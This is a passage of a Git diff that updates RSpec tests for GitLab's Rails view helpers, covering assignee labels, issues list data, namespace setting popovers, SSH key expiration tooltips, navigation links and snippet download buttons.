it_behaves_like 'dropdown invite members link'
diff --git a/spec/helpers/issuables_helper_spec.rb b/spec/helpers/issuables_helper_spec.rb
index d6b002b47eb..54524858962 100644
--- a/spec/helpers/issuables_helper_spec.rb
+++ b/spec/helpers/issuables_helper_spec.rb
@@ -44,6 +44,60 @@ RSpec.describe IssuablesHelper do
end
end
+ describe '#assignees_label' do
+ let(:issuable) { build(:merge_request) }
+ let(:assignee1) { build_stubbed(:user, name: 'Jane Doe') }
+ let(:assignee2) { build_stubbed(:user, name: 'John Doe') }
+
+ before do
+ allow(issuable).to receive(:assignees).and_return(assignees)
+ end
+
+ context 'when multiple assignees exist' do
+ let(:assignees) { [assignee1, assignee2] }
+
+ it 'returns assignee label with assignee names' do
+ expect(helper.assignees_label(issuable)).to eq("Assignees: Jane Doe and John Doe")
+ end
+
+ it 'returns assignee label only with include_value: false' do
+ expect(helper.assignees_label(issuable, include_value: false)).to eq("Assignees")
+ end
+
+ context 'when the name contains a URL' do
+ let(:assignees) { [build_stubbed(:user, name: 'www.gitlab.com')] }
+
+ it 'returns sanitized name' do
+ expect(helper.assignees_label(issuable)).to eq("Assignee: www_gitlab_com")
+ end
+ end
+ end
+
+ context 'when one assignee exists' do
+ let(:assignees) { [assignee1] }
+
+ it 'returns assignee label with no names' do
+ expect(helper.assignees_label(issuable)).to eq("Assignee: Jane Doe")
+ end
+
+ it 'returns assignee label only with include_value: false' do
+ expect(helper.assignees_label(issuable, include_value: false)).to eq("Assignee")
+ end
+ end
+
+ context 'when no assignees exist' do
+ let(:assignees) { [] }
+
+ it 'returns assignee label with no names' do
+ expect(helper.assignees_label(issuable)).to eq("Assignees: ")
+ end
+
+ it 'returns assignee label only with include_value: false' do
+ expect(helper.assignees_label(issuable, include_value: false)).to eq("Assignees")
+ end
+ end
+ end
+
describe '#issuable_meta' do
let(:user) { create(:user) }
diff --git a/spec/helpers/issues_helper_spec.rb b/spec/helpers/issues_helper_spec.rb
index 07e55e9b016..21a01f349b5 100644
--- a/spec/helpers/issues_helper_spec.rb
+++ b/spec/helpers/issues_helper_spec.rb
@@ -281,4 +281,55 @@ RSpec.describe IssuesHelper do
expect(helper.issue_header_actions_data(project, issue, current_user)).to include(expected)
end
end
+
+ shared_examples 'issues list data' do
+ it 'returns expected result' do
+ finder = double.as_null_object
+ allow(helper).to receive(:current_user).and_return(current_user)
+ allow(helper).to receive(:finder).and_return(finder)
+ allow(helper).to receive(:can?).and_return(true)
+ allow(helper).to receive(:image_path).and_return('#')
+ allow(helper).to receive(:import_csv_namespace_project_issues_path).and_return('#')
+ allow(helper).to receive(:url_for).and_return('#')
+
+ expected = {
+ calendar_path: '#',
+ can_bulk_update: 'true',
+ can_edit: 'true',
+ can_import_issues: 'true',
+ email: current_user&.notification_email,
+ empty_state_svg_path: '#',
+ endpoint: expose_path(api_v4_projects_issues_path(id: project.id)),
+ export_csv_path: export_csv_project_issues_path(project),
+ full_path: project.full_path,
+ has_issues: project_issues(project).exists?.to_s,
+ import_csv_issues_path: '#',
+ is_signed_in: current_user.present?.to_s,
+ issues_path: project_issues_path(project),
+ jira_integration_path: help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues'),
+ max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
+ new_issue_path: new_project_issue_path(project, issue: { assignee_id: finder.assignee.id, milestone_id: finder.milestones.first.id }),
+ project_import_jira_path: project_import_jira_path(project),
+ rss_path: '#',
+ show_new_issue_link: 'true',
+ sign_in_path: new_user_session_path
+ }
+
+ expect(helper.issues_list_data(project, current_user, finder)).to include(expected)
+ end
+ end
+
+ describe '#issues_list_data' do
+ context 'when user is signed in' do
+ it_behaves_like 'issues list data' do
+ let(:current_user) { double.as_null_object }
+ end
+ end
+
+ context 'when user is anonymous' do
+ it_behaves_like 'issues list data' do
+ let(:current_user) { nil }
+ end
+ end
+ end
end
diff --git a/spec/helpers/jira_connect_helper_spec.rb b/spec/helpers/jira_connect_helper_spec.rb
index 9695bed948b..55a5c724665 100644
--- a/spec/helpers/jira_connect_helper_spec.rb
+++ b/spec/helpers/jira_connect_helper_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe JiraConnectHelper do
describe '#jira_connect_app_data' do
let_it_be(:subscription) { create(:jira_connect_subscription) }
+
let(:user) { create(:user) }
subject { helper.jira_connect_app_data([subscription]) }
diff --git a/spec/helpers/labels_helper_spec.rb b/spec/helpers/labels_helper_spec.rb
index b93dc03e434..526983a0d5f 100644
--- a/spec/helpers/labels_helper_spec.rb
+++ b/spec/helpers/labels_helper_spec.rb
@@ -36,6 +36,7 @@ RSpec.describe LabelsHelper do
context 'with a group label' do
let_it_be(:group) { create(:group) }
+
let(:label) { create(:group_label, group: group, title: 'bug') }
context 'when asking for an issue link' do
diff --git a/spec/helpers/learn_gitlab_helper_spec.rb b/spec/helpers/learn_gitlab_helper_spec.rb
index 6cee8a9191c..82c8e4ba596 100644
--- a/spec/helpers/learn_gitlab_helper_spec.rb
+++ b/spec/helpers/learn_gitlab_helper_spec.rb
@@ -27,6 +27,7 @@ RSpec.describe LearnGitlabHelper do
it 'has all actions' do
expect(onboarding_actions_data.keys).to contain_exactly(
+ :issue_created,
:git_write,
:pipeline_created,
:merge_request_created,
diff --git a/spec/helpers/markup_helper_spec.rb b/spec/helpers/markup_helper_spec.rb
index 3d1690f6588..00a59f037e0 100644
--- a/spec/helpers/markup_helper_spec.rb
+++ b/spec/helpers/markup_helper_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe MarkupHelper do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let_it_be(:snippet) { create(:project_snippet, project: project) }
+
let(:commit) { project.commit }
before do
@@ -382,6 +383,27 @@ RSpec.describe MarkupHelper do
end
end
+ context 'when file is Kramdown' do
+ let(:extension) { 'rmd' }
+ let(:content) do
+ <<-EOF
+{::options parse_block_html="true" /}
+
+<div>
+FooBar
+</div>
+ EOF
+ end
+
+ it 'renders using #markdown_unsafe helper method' do
+ expect(helper).to receive(:markdown_unsafe).with(content, context)
+
+ result = helper.render_wiki_content(wiki)
+
+ expect(result).to be_empty
+ end
+ end
+
context 'any other format' do
let(:extension) { 'foo' }
@@ -432,6 +454,7 @@ RSpec.describe MarkupHelper do
let_it_be(:project_base) { create(:project, :repository) }
let_it_be(:context) { { project: project_base } }
+
let(:file_name) { 'foo.bar' }
let(:text) { 'Noël' }
@@ -554,7 +577,7 @@ RSpec.describe MarkupHelper do
it 'preserves code color scheme' do
object = create_object("```ruby\ndef test\n 'hello world'\nend\n```")
- expected = "<pre class=\"code highlight js-syntax-highlight ruby\">" \
+ expected = "<pre class=\"code highlight js-syntax-highlight language-ruby\">" \
"<code><span class=\"line\"><span class=\"k\">def</span> <span class=\"nf\">test</span>...</span>\n" \
"</code></pre>"
diff --git a/spec/helpers/namespaces_helper_spec.rb b/spec/helpers/namespaces_helper_spec.rb
index b436f4ab0c9..8c08b06d8a8 100644
--- a/spec/helpers/namespaces_helper_spec.rb
+++ b/spec/helpers/namespaces_helper_spec.rb
@@ -194,4 +194,75 @@ RSpec.describe NamespacesHelper do
end
end
end
+
+ describe '#cascading_namespace_settings_enabled?' do
+ subject { helper.cascading_namespace_settings_enabled? }
+
+ context 'when `cascading_namespace_settings` feature flag is enabled' do
+ it 'returns `true`' do
+ expect(subject).to be(true)
+ end
+ end
+
+ context 'when `cascading_namespace_settings` feature flag is disabled' do
+ before do
+ stub_feature_flags(cascading_namespace_settings: false)
+ end
+
+ it 'returns `false`' do
+ expect(subject).to be(false)
+ end
+ end
+ end
+
+ describe '#cascading_namespace_settings_popover_data' do
+ attribute = :delayed_project_removal
+
+ subject do
+ helper.cascading_namespace_settings_popover_data(
+ attribute,
+ subgroup1,
+ -> (locked_ancestor) { edit_group_path(locked_ancestor, anchor: 'js-permissions-settings') }
+ )
+ end
+
+ context 'when locked by an application setting' do
+ before do
+ allow(subgroup1.namespace_settings).to receive("#{attribute}_locked_by_application_setting?").and_return(true)
+ allow(subgroup1.namespace_settings).to receive("#{attribute}_locked_by_ancestor?").and_return(false)
+ end
+
+ it 'returns expected hash' do
+ expect(subject).to match({
+ popover_data: {
+ locked_by_application_setting: true,
+ locked_by_ancestor: false
+ }.to_json,
+ testid: 'cascading-settings-lock-icon'
+ })
+ end
+ end
+
+ context 'when locked by an ancestor namespace' do
+ before do
+ allow(subgroup1.namespace_settings).to receive("#{attribute}_locked_by_application_setting?").and_return(false)
+ allow(subgroup1.namespace_settings).to receive("#{attribute}_locked_by_ancestor?").and_return(true)
+ allow(subgroup1.namespace_settings).to receive("#{attribute}_locked_ancestor").and_return(admin_group.namespace_settings)
+ end
+
+ it 'returns expected hash' do
+ expect(subject).to match({
+ popover_data: {
+ locked_by_application_setting: false,
+ locked_by_ancestor: true,
+ ancestor_namespace: {
+ full_name: admin_group.full_name,
+ path: edit_group_path(admin_group, anchor: 'js-permissions-settings')
+ }
+ }.to_json,
+ testid: 'cascading-settings-lock-icon'
+ })
+ end
+ end
+ end
end
diff --git a/spec/helpers/nav_helper_spec.rb b/spec/helpers/nav_helper_spec.rb
index c4795a814ba..2efff3402c5 100644
--- a/spec/helpers/nav_helper_spec.rb
+++ b/spec/helpers/nav_helper_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe NavHelper do
context 'as admin' do
let(:user) { create(:user, :admin) }
- context 'feature flag :user_mode_in_session is enabled' do
+ context 'application setting :admin_mode is enabled' do
it 'does not contain the admin mode link by default' do
expect(helper.header_links).not_to include(:admin_mode)
end
@@ -52,9 +52,9 @@ RSpec.describe NavHelper do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
it 'does not contain the admin mode link' do
diff --git a/spec/helpers/notes_helper_spec.rb b/spec/helpers/notes_helper_spec.rb
index b8502cdf25e..fc62bbf8bf8 100644
--- a/spec/helpers/notes_helper_spec.rb
+++ b/spec/helpers/notes_helper_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe NotesHelper do
let_it_be(:owner_note) { create(:note, author: owner, project: project) }
let_it_be(:maintainer_note) { create(:note, author: maintainer, project: project) }
let_it_be(:reporter_note) { create(:note, author: reporter, project: project) }
+
let!(:notes) { [owner_note, maintainer_note, reporter_note] }
before_all do
@@ -73,6 +74,7 @@ RSpec.describe NotesHelper do
describe '#discussion_path' do
let_it_be(:project) { create(:project, :repository) }
+
let(:anchor) { discussion.line_code }
context 'for a merge request discusion' do
diff --git a/spec/helpers/page_layout_helper_spec.rb b/spec/helpers/page_layout_helper_spec.rb
index 99cdee6dbb2..d03e39f2051 100644
--- a/spec/helpers/page_layout_helper_spec.rb
+++ b/spec/helpers/page_layout_helper_spec.rb
@@ -223,39 +223,37 @@ RSpec.describe PageLayoutHelper do
end
describe '#user_status_properties' do
- using RSpec::Parameterized::TableSyntax
-
let(:user) { build(:user) }
- availability_types = Types::AvailabilityEnum.enum
-
- where(:message, :emoji, :availability) do
- "Some message" | UserStatus::DEFAULT_EMOJI | availability_types[:busy]
- "Some message" | UserStatus::DEFAULT_EMOJI | availability_types[:not_set]
- "Some message" | "basketball" | availability_types[:busy]
- "Some message" | "basketball" | availability_types[:not_set]
- "Some message" | "" | availability_types[:busy]
- "Some message" | "" | availability_types[:not_set]
- "" | UserStatus::DEFAULT_EMOJI | availability_types[:busy]
- "" | UserStatus::DEFAULT_EMOJI | availability_types[:not_set]
- "" | "basketball" | availability_types[:busy]
- "" | "basketball" | availability_types[:not_set]
- "" | "" | availability_types[:busy]
- "" | "" | availability_types[:not_set]
- end
+ subject { helper.user_status_properties(user) }
- with_them do
- it "sets the default user status fields" do
- user.status = UserStatus.new(message: message, emoji: emoji, availability: availability)
- result = {
+ context 'when the user has no status' do
+ it 'returns default properties' do
+ is_expected.to eq({
+ current_emoji: '',
+ current_message: '',
can_set_user_availability: true,
- current_availability: availability,
- current_emoji: emoji,
- current_message: message,
default_emoji: UserStatus::DEFAULT_EMOJI
- }
+ })
+ end
+ end
+
+ context 'when user has a status' do
+ let(:time) { 3.hours.ago }
- expect(helper.user_status_properties(user)).to eq(result)
+ before do
+ user.status = UserStatus.new(message: 'Some message', emoji: 'basketball', availability: 'busy', clear_status_at: time)
+ end
+
+ it 'merges the status properties with the defaults' do
+ is_expected.to eq({
+ current_clear_status_after: time.to_s,
+ current_availability: 'busy',
+ current_emoji: 'basketball',
+ current_message: 'Some message',
+ can_set_user_availability: true,
+ default_emoji: UserStatus::DEFAULT_EMOJI
+ })
end
end
end
diff --git a/spec/helpers/preferences_helper_spec.rb b/spec/helpers/preferences_helper_spec.rb
index e5420fb6729..4d7083c4ca7 100644
--- a/spec/helpers/preferences_helper_spec.rb
+++ b/spec/helpers/preferences_helper_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe PreferencesHelper do
["Your Groups", 'groups'],
["Your To-Do List", 'todos'],
["Assigned Issues", 'issues'],
- ["Assigned Merge Requests", 'merge_requests']
+ ["Assigned merge requests", 'merge_requests']
]
end
end
diff --git a/spec/helpers/profiles_helper_spec.rb b/spec/helpers/profiles_helper_spec.rb
index 9687d038162..2ea832f95dc 100644
--- a/spec/helpers/profiles_helper_spec.rb
+++ b/spec/helpers/profiles_helper_spec.rb
@@ -112,6 +112,46 @@ RSpec.describe ProfilesHelper do
end
end
+ describe "#ssh_key_expiration_tooltip" do
+ using RSpec::Parameterized::TableSyntax
+
+ before do
+ allow(Key).to receive(:enforce_ssh_key_expiration_feature_available?).and_return(false)
+ end
+
+ error_message = 'Key type is forbidden. Must be DSA, ECDSA, or ED25519'
+
+ where(:error, :expired, :result) do
+ false | false | nil
+ true | false | error_message
+ false | true | 'Key usable beyond expiration date.'
+ true | true | error_message
+ end
+
+ with_them do
+ let_it_be(:key) do
+ build(:personal_key)
+ end
+
+ it do
+ key.expires_at = expired ? 2.days.ago : 2.days.from_now
+ key.errors.add(:base, error_message) if error
+
+ expect(helper.ssh_key_expiration_tooltip(key)).to eq(result)
+ end
+ end
+ end
+
+ describe "#ssh_key_expires_field_description" do
+ before do
+ allow(Key).to receive(:enforce_ssh_key_expiration_feature_available?).and_return(false)
+ end
+
+ it 'returns the description' do
+ expect(helper.ssh_key_expires_field_description).to eq('Key can still be used after expiration.')
+ end
+ end
+
def stub_cas_omniauth_provider
provider = OpenStruct.new(
'name' => 'cas3',
diff --git a/spec/helpers/projects/alert_management_helper_spec.rb b/spec/helpers/projects/alert_management_helper_spec.rb
index 0df194e460a..e836461b099 100644
--- a/spec/helpers/projects/alert_management_helper_spec.rb
+++ b/spec/helpers/projects/alert_management_helper_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Projects::AlertManagementHelper do
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:current_user) { create(:user) }
+
let(:project_path) { project.full_path }
let(:project_id) { project.id }
diff --git a/spec/helpers/projects/issues/service_desk_helper_spec.rb b/spec/helpers/projects/issues/service_desk_helper_spec.rb
index 3f488fe692d..05766ee13c6 100644
--- a/spec/helpers/projects/issues/service_desk_helper_spec.rb
+++ b/spec/helpers/projects/issues/service_desk_helper_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::Issues::ServiceDeskHelper do
let_it_be(:project) { create(:project, :public, service_desk_enabled: true) }
+
let(:user) { build_stubbed(:user) }
let(:current_user) { user }
diff --git a/spec/helpers/projects/project_members_helper_spec.rb b/spec/helpers/projects/project_members_helper_spec.rb
index 1a55840a58a..0e08a18f912 100644
--- a/spec/helpers/projects/project_members_helper_spec.rb
+++ b/spec/helpers/projects/project_members_helper_spec.rb
@@ -128,6 +128,7 @@ RSpec.describe Projects::ProjectMembersHelper do
describe "when current user is not the owner of the project's parent group" do
let_it_be(:user) { create(:user) }
+
let(:project2) { create(:project, namespace: group) }
before do
@@ -174,6 +175,7 @@ RSpec.describe Projects::ProjectMembersHelper do
describe 'project group links' do
let_it_be(:project_group_links) { create_list(:project_group_link, 1, project: project) }
+
let(:allow_admin_project) { true }
describe '#project_group_links_data_json' do
diff --git a/spec/helpers/projects/terraform_helper_spec.rb b/spec/helpers/projects/terraform_helper_spec.rb
index 70b08f4139b..8833e23c47d 100644
--- a/spec/helpers/projects/terraform_helper_spec.rb
+++ b/spec/helpers/projects/terraform_helper_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::TerraformHelper do
describe '#js_terraform_list_data' do
let_it_be(:project) { create(:project) }
+
let(:current_user) { project.creator }
subject { helper.js_terraform_list_data(current_user, project) }
diff --git a/spec/helpers/projects_helper_spec.rb b/spec/helpers/projects_helper_spec.rb
index e6cd11a4d70..124cdcec05d 100644
--- a/spec/helpers/projects_helper_spec.rb
+++ b/spec/helpers/projects_helper_spec.rb
@@ -85,6 +85,7 @@ RSpec.describe ProjectsHelper do
describe "can_change_visibility_level?" do
let_it_be(:user) { create(:project_member, :reporter, user: create(:user), project: project).user }
+
let(:forked_project) { fork_project(project, user) }
it "returns false if there are no appropriate permissions" do
diff --git a/spec/helpers/search_helper_spec.rb b/spec/helpers/search_helper_spec.rb
index 13d3a80bd13..7b2334ab79e 100644
--- a/spec/helpers/search_helper_spec.rb
+++ b/spec/helpers/search_helper_spec.rb
@@ -489,6 +489,7 @@ RSpec.describe SearchHelper do
describe '#repository_ref' do
let_it_be(:project) { create(:project, :repository) }
+
let(:params) { { repository_ref: 'the-repository-ref-param' } }
subject { repository_ref(project) }
diff --git a/spec/helpers/services_helper_spec.rb b/spec/helpers/services_helper_spec.rb
index 1726a8362a7..6dd872225ba 100644
--- a/spec/helpers/services_helper_spec.rb
+++ b/spec/helpers/services_helper_spec.rb
@@ -27,17 +27,31 @@ RSpec.describe ServicesHelper do
]
end
+ let(:jira_fields) do
+ [
+ :jira_issue_transition_automatic,
+ :jira_issue_transition_id
+ ]
+ end
+
subject { helper.integration_form_data(integration) }
context 'Slack service' do
let(:integration) { build(:slack_service) }
it { is_expected.to include(*fields) }
+ it { is_expected.not_to include(*jira_fields) }
specify do
expect(subject[:reset_path]).to eq(helper.scoped_reset_integration_path(integration))
end
end
+
+ context 'Jira service' do
+ let(:integration) { build(:jira_service) }
+
+ it { is_expected.to include(*fields, *jira_fields) }
+ end
end
describe '#scoped_reset_integration_path' do
diff --git a/spec/helpers/sidebars_helper_spec.rb b/spec/helpers/sidebars_helper_spec.rb
new file mode 100644
index 00000000000..e329968e6c0
--- /dev/null
+++ b/spec/helpers/sidebars_helper_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SidebarsHelper do
+ describe '#sidebar_tracking_attributes_by_object' do
+ subject { helper.sidebar_tracking_attributes_by_object(object) }
+
+ before do
+ allow(helper).to receive(:tracking_enabled?).and_return(true)
+ end
+
+ context 'when object is a project' do
+ let(:object) { build(:project) }
+
+ it 'returns tracking attrs for project' do
+ expect(subject[:data]).to eq({ track_label: 'projects_side_navigation', track_property: 'projects_side_navigation', track_action: 'render' })
+ end
+ end
+
+ context 'when object is a group' do
+ let(:object) { build(:group) }
+
+ it 'returns tracking attrs for group' do
+ expect(subject[:data]).to eq({ track_label: 'groups_side_navigation', track_property: 'groups_side_navigation', track_action: 'render' })
+ end
+ end
+
+ context 'when object is a user' do
+ let(:object) { build(:user) }
+
+ it 'returns tracking attrs for user' do
+ expect(subject[:data]).to eq({ track_label: 'user_side_navigation', track_property: 'user_side_navigation', track_action: 'render' })
+ end
+ end
+
+ context 'when object is something else' do
+ let(:object) { build(:ci_pipeline) }
+
+ it 'returns no attributes' do
+ expect(subject).to eq({})
+ end
+ end
+ end
+end
diff --git a/spec/helpers/snippets_helper_spec.rb b/spec/helpers/snippets_helper_spec.rb
index 5a3c8e37e8c..35882c9337b 100644
--- a/spec/helpers/snippets_helper_spec.rb
+++ b/spec/helpers/snippets_helper_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe SnippetsHelper do
end
def download_link(url)
- "<a class=\"btn\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"Open raw\" href=\"#{url}\">#{external_snippet_icon('doc-code')}</a>"
+ "<a class=\"gl-button btn btn-default\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"Open raw\" href=\"#{url}\">#{external_snippet_icon('doc-code')}</a>"
end
end
@@ -59,31 +59,7 @@ RSpec.describe SnippetsHelper do
end
def download_link(url)
- "<a class=\"btn\" target=\"_blank\" title=\"Download\" rel=\"noopener noreferrer\" href=\"#{url}?inline=false\">#{external_snippet_icon('download')}</a>"
- end
- end
-
- describe '#download_raw_snippet_button' do
- subject { download_raw_snippet_button(snippet) }
-
- context 'with personal snippet' do
- let(:snippet) { public_personal_snippet }
-
- it 'returns the download button' do
- expect(subject).to eq(download_link("/-/snippets/#{snippet.id}/raw"))
- end
- end
-
- context 'with project snippet' do
- let(:snippet) { public_project_snippet }
-
- it 'returns the download button' do
- expect(subject).to eq(download_link("/#{snippet.project.path_with_namespace}/-/snippets/#{snippet.id}/raw"))
- end
- end
-
- def download_link(url)
- "<a target=\"_blank\" rel=\"noopener noreferrer\" class=\"btn btn-sm has-tooltip\" title=\"Download\" data-container=\"body\" href=\"#{url}?inline=false\">#{sprite_icon('download')}</a>"
+ "<a class=\"gl-button btn btn-default\" target=\"_blank\" title=\"Download\" rel=\"noopener noreferrer\" href=\"#{url}?inline=false\">#{external_snippet_icon('download')}</a>"
end
end
diff --git a/spec/helpers/tab_helper_spec.rb b/spec/helpers/tab_helper_spec.rb
index f89d0ac0f5a..bd8a8fa174a 100644
--- a/spec/helpers/tab_helper_spec.rb
+++ b/spec/helpers/tab_helper_spec.rb
@@ -6,81 +6,94 @@ RSpec.describe TabHelper do
include ApplicationHelper
describe 'nav_link' do
+ using RSpec::Parameterized::TableSyntax
+
before do
allow(controller).to receive(:controller_name).and_return('foo')
allow(self).to receive(:action_name).and_return('foo')
end
context 'with the content of the li' do
- it "captures block output" do
+ it 'captures block output' do
expect(nav_link { "Testing Blocks" }).to match(/Testing Blocks/)
end
end
- context 'with controller param' do
- it "performs checks on the current controller" do
- expect(nav_link(controller: :foo)).to match(/<li class="active">/)
- expect(nav_link(controller: :bar)).not_to match(/active/)
- expect(nav_link(controller: [:foo, :bar])).to match(/active/)
- end
+ it 'passes extra html options to the list element' do
+ expect(nav_link(action: :foo, html_options: { class: 'home' })).to match(/<li class="home active">/)
+ expect(nav_link(html_options: { class: 'active' })).to match(/<li class="active">/)
+ end
- context 'with action param' do
- it "performs checks on both controller and action when both are present" do
- expect(nav_link(controller: :bar, action: :foo)).not_to match(/active/)
- expect(nav_link(controller: :foo, action: :bar)).not_to match(/active/)
- expect(nav_link(controller: :foo, action: :foo)).to match(/active/)
- end
- end
+ where(:controller_param, :action_param, :path_param, :active) do
+ nil | nil | nil | false
+ :foo | nil | nil | true
+ :bar | nil | nil | false
+ :bar | :foo | nil | false
+ :foo | :bar | nil | false
+ :foo | :foo | nil | true
+ :bar | nil | 'foo#foo' | true
+ :bar | nil | ['foo#foo', 'bar#bar'] | true
+ :bar | :bar | ['foo#foo', 'bar#bar'] | true
+ :foo | nil | 'bar#foo' | true
+ :bar | nil | 'bar#foo' | false
+ :foo | [:foo, :bar] | 'bar#foo' | true
+ :bar | :bar | 'foo#foo' | true
+ :foo | :foo | 'bar#foo' | true
+ :bar | :foo | 'bar#foo' | false
+ :foo | :bar | 'bar#foo' | false
+ [:foo, :bar] | nil | nil | true
+ [:foo, :bar] | nil | 'bar#foo' | true
+ [:foo, :bar] | :foo | 'bar#foo' | true
+ nil | :foo | nil | true
+ nil | :bar | nil | false
+ nil | nil | 'foo#bar' | false
+ nil | nil | 'foo#foo' | true
+ nil | :bar | ['foo#foo', 'bar#bar'] | true
+ nil | :bar | 'foo#foo' | true
+ nil | :foo | 'bar#foo' | true
+ nil | [:foo, :bar] | nil | true
+ nil | [:foo, :bar] | 'bar#foo' | true
+ nil | :bar | 'bar#foo' | false
+ end
- context 'with namespace in path notation' do
- before do
- allow(controller).to receive(:controller_path).and_return('bar/foo')
- end
+ with_them do
+ specify do
+ result = nav_link(controller: controller_param, action: action_param, path: path_param)
- it 'performs checks on both controller and namespace' do
- expect(nav_link(controller: 'foo/foo')).not_to match(/active/)
- expect(nav_link(controller: 'bar/foo')).to match(/active/)
- end
-
- context 'with action param' do
- it "performs checks on both namespace, controller and action when they are all present" do
- expect(nav_link(controller: 'foo/foo', action: :foo)).not_to match(/active/)
- expect(nav_link(controller: 'bar/foo', action: :bar)).not_to match(/active/)
- expect(nav_link(controller: 'bar/foo', action: :foo)).to match(/active/)
- end
+ if active
+ expect(result).to match(/active/)
+ else
+ expect(result).not_to match(/active/)
end
end
end
- context 'with action param' do
- it "performs checks on the current action" do
- expect(nav_link(action: :foo)).to match(/<li class="active">/)
- expect(nav_link(action: :bar)).not_to match(/active/)
- expect(nav_link(action: [:foo, :bar])).to match(/active/)
+ context 'with namespace in path notation' do
+ before do
+ allow(controller).to receive(:controller_path).and_return('bar/foo')
end
- end
- context 'with path param' do
- it "accepts a path shorthand" do
- expect(nav_link(path: 'foo#bar')).not_to match(/active/)
- expect(nav_link(path: 'foo#foo')).to match(/active/)
+ where(:controller_param, :action_param, :path_param, :active) do
+ 'foo/foo' | nil | nil | false
+ 'bar/foo' | nil | nil | true
+ 'foo/foo' | :foo | nil | false
+ 'bar/foo' | :bar | nil | false
+ 'bar/foo' | :foo | nil | true
+ nil | nil | 'foo/foo#foo' | false
+ nil | nil | 'bar/foo#foo' | true
end
- context 'with namespace' do
- before do
- allow(controller).to receive(:controller_path).and_return('bar/foo')
- end
+ with_them do
+ specify do
+ result = nav_link(controller: controller_param, action: action_param, path: path_param)
- it 'accepts a path shorthand with namespace' do
- expect(nav_link(path: 'bar/foo#foo')).to match(/active/)
- expect(nav_link(path: 'foo/foo#foo')).not_to match(/active/)
+ if active
+ expect(result).to match(/active/)
+ else
+ expect(result).not_to match(/active/)
+ end
end
end
end
-
- it "passes extra html options to the list element" do
- expect(nav_link(action: :foo, html_options: { class: 'home' })).to match(/<li class="home active">/)
- expect(nav_link(html_options: { class: 'active' })).to match(/<li class="active">/)
- end
end
end
diff --git a/spec/helpers/timeboxes_helper_spec.rb b/spec/helpers/timeboxes_helper_spec.rb
index 9cbed7668ac..1b9442c0a09 100644
--- a/spec/helpers/timeboxes_helper_spec.rb
+++ b/spec/helpers/timeboxes_helper_spec.rb
@@ -3,42 +3,6 @@
require 'spec_helper'
RSpec.describe TimeboxesHelper do
- describe '#milestones_filter_dropdown_path' do
- let(:project) { create(:project) }
- let(:project2) { create(:project) }
- let(:group) { create(:group) }
-
- context 'when @project present' do
- it 'returns project milestones JSON URL' do
- assign(:project, project)
-
- expect(helper.milestones_filter_dropdown_path).to eq(project_milestones_path(project, :json))
- end
- end
-
- context 'when @target_project present' do
- it 'returns targeted project milestones JSON URL' do
- assign(:target_project, project2)
-
- expect(helper.milestones_filter_dropdown_path).to eq(project_milestones_path(project2, :json))
- end
- end
-
- context 'when @group present' do
- it 'returns group milestones JSON URL' do
- assign(:group, group)
-
- expect(helper.milestones_filter_dropdown_path).to eq(group_milestones_path(group, :json))
- end
- end
-
- context 'when neither of @project/@target_project/@group present' do
- it 'returns dashboard milestones JSON URL' do
- expect(helper.milestones_filter_dropdown_path).to eq(dashboard_milestones_path(:json))
- end
- end
- end
-
describe "#timebox_date_range" do
let(:yesterday) { Date.yesterday }
let(:tomorrow) { yesterday + 2 }
diff --git a/spec/helpers/todos_helper_spec.rb b/spec/helpers/todos_helper_spec.rb
index 9481d756c16..3787864e144 100644
--- a/spec/helpers/todos_helper_spec.rb
+++ b/spec/helpers/todos_helper_spec.rb
@@ -40,26 +40,6 @@ RSpec.describe TodosHelper do
end
end
- describe '#todo_projects_options' do
- let(:projects) { create_list(:project, 3) }
- let(:user) { create(:user) }
-
- it 'returns users authorised projects in json format' do
- projects.first.add_developer(user)
- projects.second.add_developer(user)
-
- allow(helper).to receive(:current_user).and_return(user)
-
- expected_results = [
- { 'id' => '', 'text' => 'Any Project' },
- { 'id' => projects.second.id, 'text' => projects.second.full_name },
- { 'id' => projects.first.id, 'text' => projects.first.full_name }
- ]
-
- expect(Gitlab::Json.parse(helper.todo_projects_options)).to match_array(expected_results)
- end
- end
-
describe '#todo_target_link' do
context 'when given a design' do
let(:todo) { design_todo }
diff --git a/spec/helpers/tracking_helper_spec.rb b/spec/helpers/tracking_helper_spec.rb
index 47b344cfc25..cd2f8f9b7d1 100644
--- a/spec/helpers/tracking_helper_spec.rb
+++ b/spec/helpers/tracking_helper_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe TrackingHelper do
let(:results) do
{
no_data: {},
- with_data: { data: { track_label: 'a', track_event: 'b', track_property: 'c' } }
+ with_data: { data: { track_label: 'a', track_action: 'b', track_property: 'c' } }
}
end
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
index b6607182461..3dbaa655aeb 100644
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ b/spec/helpers/user_callouts_helper_spec.rb
@@ -81,45 +81,43 @@ RSpec.describe UserCalloutsHelper do
end
end
- describe '.show_service_templates_deprecated?' do
- subject { helper.show_service_templates_deprecated? }
+ describe '.show_service_templates_deprecated_callout?' do
+ using RSpec::Parameterized::TableSyntax
- context 'when user has not dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::SERVICE_TEMPLATES_DEPRECATED) { false }
- end
+ let_it_be(:admin) { create(:user, :admin) }
+ let_it_be(:non_admin) { create(:user) }
- it { is_expected.to be true }
